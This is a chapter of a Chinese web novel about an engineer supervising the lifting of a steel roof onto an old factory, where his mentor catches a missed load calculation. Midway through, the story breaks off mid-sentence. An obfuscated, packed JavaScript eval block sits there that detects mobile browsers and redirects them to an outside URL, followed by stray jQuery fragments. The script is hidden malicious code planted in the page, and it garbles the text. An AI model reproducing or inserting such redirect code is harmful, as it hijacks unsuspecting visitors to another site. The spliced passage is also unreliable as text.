屋顶钢结构的第一个构件在清晨六点起吊。


    天刚蒙蒙亮，工地上所有的灯光都打开了，把厂房照得如同白昼。林溪站在指挥台——临时搭建的一个三米高平台——手里拿着对讲机。他今天穿着亮黄色的安全马甲，安全帽系得很紧，下巴的扣带勒得有点疼，但这种束缚感让他保持清醒。


    对讲机里传来吊车司机老刘的声音：“林工，一号构件准备完毕，请求起吊。”


    林溪抬头。那根H型钢梁长十八米，重四吨，已经用吊带和平衡梁固定好。在晨曦中，它像一条沉睡的钢铁巨鲸，即将被唤醒。


    “检查吊点。”林溪说。


    “检查完毕。”


    “检查周围障碍。”


    “检查完毕。”


    林溪深吸一口气：“起吊。”


    对讲机里传来液压系统的嗡鸣声。吊臂缓缓抬起，钢梁离开地面。速度很慢，慢得能看见每一寸上升的过程。工人们屏息凝神，仰头看着那个庞然大物在空中移动。


    这是整个改造工程最危险的环节。厂房原有的木结构屋顶已经拆除，只剩下四周的承重墙。新的钢屋架要在这些老墙上生根，与旧结构咬合。错一厘米，都可能引发连锁破坏。


    钢梁上升到预定高度，开始水平移动。吊臂缓缓旋转，钢梁在二十米高空划出一道弧线。林溪的对讲机贴在耳边，手心全是汗。


    “停。”他说。


    钢梁停住，悬在安装位置上方。误差在允许范围内，但还不够完美。


    “向北微调五公分。”


    吊车司机照做。钢梁再次移动，这次很慢，几乎是一寸一寸地挪。


    就在这时，林溪的手机震动了。屏幕上显示“顾怀瑾”。


    他犹豫了一秒，接通，把对讲机换到左手：“顾总。”


    “进行到哪一步了？”顾怀瑾的声音平稳，背景音很安静。


    “一号构件就位，准备对接。”


    “让我看看。”


    林溪把手机摄像头对准现场，打开视频通话。镜头里，巨大的钢梁悬在晨光中，下面是老厂房斑驳的红砖墙。


    顾怀瑾沉默了几秒，然后说：“角度没问题。但西侧的固定点，看见了吗？”


    林溪移动镜头。在西侧承重墙上，预埋的钢件已经露出——那是提前浇筑在墙体内的连接件。


    “看见了。”


    “那个固定点的设计承重是三吨。”顾怀瑾说，“但根据昨晚发你的最新计算，因为墙体局部风化，实际承重能力可能只有两吨八。”


    林溪的心跳漏了一拍：“那……”


    “所以不能直接落位。要在钢梁和固定点之间加一个过渡垫片，分散压力。”顾怀瑾顿了顿，“垫片图纸在邮箱里，三小时前发的。你没看？”


    林溪哑口无言。他凌晨四点就到工地，一直忙到现在，根本没时间查邮件。


    “我……”他喉咙发干。


    “现在停工，做垫片。”顾怀瑾的声音没有责备，只有冷静，“来得及。”


    “可是工期——”


    “安全第一。”顾怀瑾打断他，“永远记住这个顺序。”


    电话挂断。林溪站在指挥台上，晨风吹过，后背一阵冰凉。他居然漏掉了这么重要的信息。


    “暂停作业！”他对着对讲机喊，“构件回移，落地。”


    工人们都愣住了。老陈跑过来：“怎么了？”


    “固定点承重不足，需要加过渡垫片。”林溪跳下指挥台，“顾总发了图纸，我马上处理。”


    他冲进临时办公室，打开邮箱。果然，凌晨一点，顾怀瑾发来了新图纸和计算书。邮件标题很简单：“重要：屋顶吊装前必读”。


    林溪握着鼠标的手在抖。不是后怕，是自责——如果顾怀瑾没有打那个电话，如果钢梁直接落位，如果固定点失效……


    后果不堪设想。


    他快速打印图纸，召集焊工和铆工。过渡垫片不算复杂，但需要现场制作、现场安装。至少需要两小时。


    工地上，钢梁已经安全落地。工人们围在一起，听林溪讲解调整方案。没有人抱怨，只是沉默地点头，然后开始工作。


    这就是专业团队的好处——他们理解变更是常态，安全是底线。


    上午九点，垫片制作完成。林溪亲自检查每一个焊缝，每一个尺寸。确认无误后，重新起吊。


    这一次，钢梁稳稳地落在过渡垫片上。预埋的螺栓穿过垫片孔洞，工人们开始紧固。


    “一号构件安装完毕。”对讲机里传来报告。


    林溪松了口气。他走到厂房屋檐下，看着那根钢梁——它现在成了新屋顶的第一根脊骨。阳光从东边照过来，在钢铁表面反射出冷冽的光。


    手机又震。还是顾怀瑾。


    “解决了？”他问。


    “解决了。谢谢您。”


    “不用谢我。”顾怀瑾说，“你是现场指挥，所有的信息应该在你这里汇合。今天的事，是我的责任——我没有确认你收到了邮件。”


    这话让林溪怔住。顾怀瑾把责任揽了过去。


    “不，是我——”


    “好了。”顾怀瑾打断他，“继续吧。二号构件要注意东墙的沉降缝，图纸第三页有说明。这次，看了吗？”


    林溪立刻翻开图纸：“正在看。”


    “很好。”电话那头传来纸张翻动的声音，“我在看赵秀英的笔记本。她在1981年也提过东墙沉降问题，建议做弹性连接。四十年过去了，问题还在，解决方案也类似。”


    林溪看着手里的新图纸，又看看笔记本的复印件。两个时代的设计师，面对同一个问题，给出了相似的答案。


    “历史会重复，”顾怀瑾轻声说，“但这次，我们要做得更好。”


    接下来的四个构件，安装顺利。林溪在每个环节前都反复核对图纸、计算书、现场数据。中午，工人们轮流吃饭，他还在核对下午的吊装计划。


    老陈递过来一个盒饭：“林工，歇会儿。”


    林溪接过，坐在一堆木料上。饭菜是温的，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193492|197102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但他没什么胃口。


    “今天早上……”老陈在他旁边坐下，“顾总及时啊。”


    “嗯。”


    “其实你不必太自责。”老陈点了根烟，“工地上，信息太多，漏掉一两条正常。重要的是，有人帮你兜着。”


    林溪看着远处的吊车。钢结构的框架已经初具雏形，在蓝天下画出有力的线条。


    “陈师傅，”他忽然问，“您干这行多少年了？”


    “二十八年。”老陈吐出一口烟，“跟过无数个工地，见过无数个设计师。有些人图纸画得漂亮，但一到现场就傻眼。有些人懂技术，但不懂人。像顾总这样的——既懂技术，又懂工地，还愿意为了一根梁凌晨一点发邮件的，不多。”


    他顿了顿：“像你这样，年轻但肯学，错了认，改了再来的，更少。”


    这话很朴实，但林溪听出了里面的分量。


    下午的吊装继续。第三个、第四个构件顺利就位。厂房的新骨架在天空下生长，与老墙拥抱、咬合、成为一体。


    夕阳西下时，第一阶段的吊装完成。五根主梁横跨厂房，撑起了新屋顶的轮廓。工人们在梁上安装临时照明，灯串亮起的瞬间，厂房内部被染上一层温暖的金色。


    林溪站在厂房中央，仰头看着。钢铁的冷硬与灯光的温柔，在这个空间里达成了奇异的和谐。


    手机响了。顾怀瑾发来一张照片——是他书房窗外的夕阳。城市的天际线染成橙红色，美得不真实。


    附言：“应该很美。”


    林溪拍下厂房的照片，发过去。


    几秒后，顾怀瑾回：“比我想象的还美。”


    这大概是林溪听过的最好的赞美。


    收工时，老工人们又来了。他们站在新安装的钢梁下，仰着头，像在看一个奇迹。


    李阿姨摸着冰凉的钢柱：“秀英要是看到……”


    “她看到了。”林溪轻声说，“通过我们。”


    老人转过头，眼睛湿润：“谢谢你，孩子。”


    夜幕降临。林溪最后一个离开工地。锁门时，他回头看了一眼。


    厂房里，临时照明还亮着。钢结构的影子投在老墙上，像一幅巨大的、立体的素描。导流渠的水声隐约传来，潺潺的，像这个空间的脉搏。


    他拿出手机，给顾怀瑾发了条消息：


    “今天学到了：信息要及时汇合，安全永远是第一顺序。还有——好的设计，需要好的执行。缺一不可。”


    很快，回复来了：


    “还学到了：有人帮你兜着的感觉，不坏。”


    林溪看着这行字，笑了。


    夜色温柔。他走在回公寓的路上，脚步轻快。


    今天很累，但很充实。


    累的是身体，充实的是心。


    而有些东西，在累与充实之间，悄然生长。


    比如信任，比如默契，比如某种还未命名、但已扎根的情感。


    路灯把他的影子拉长，缩短，又拉长。


    像心跳的节奏。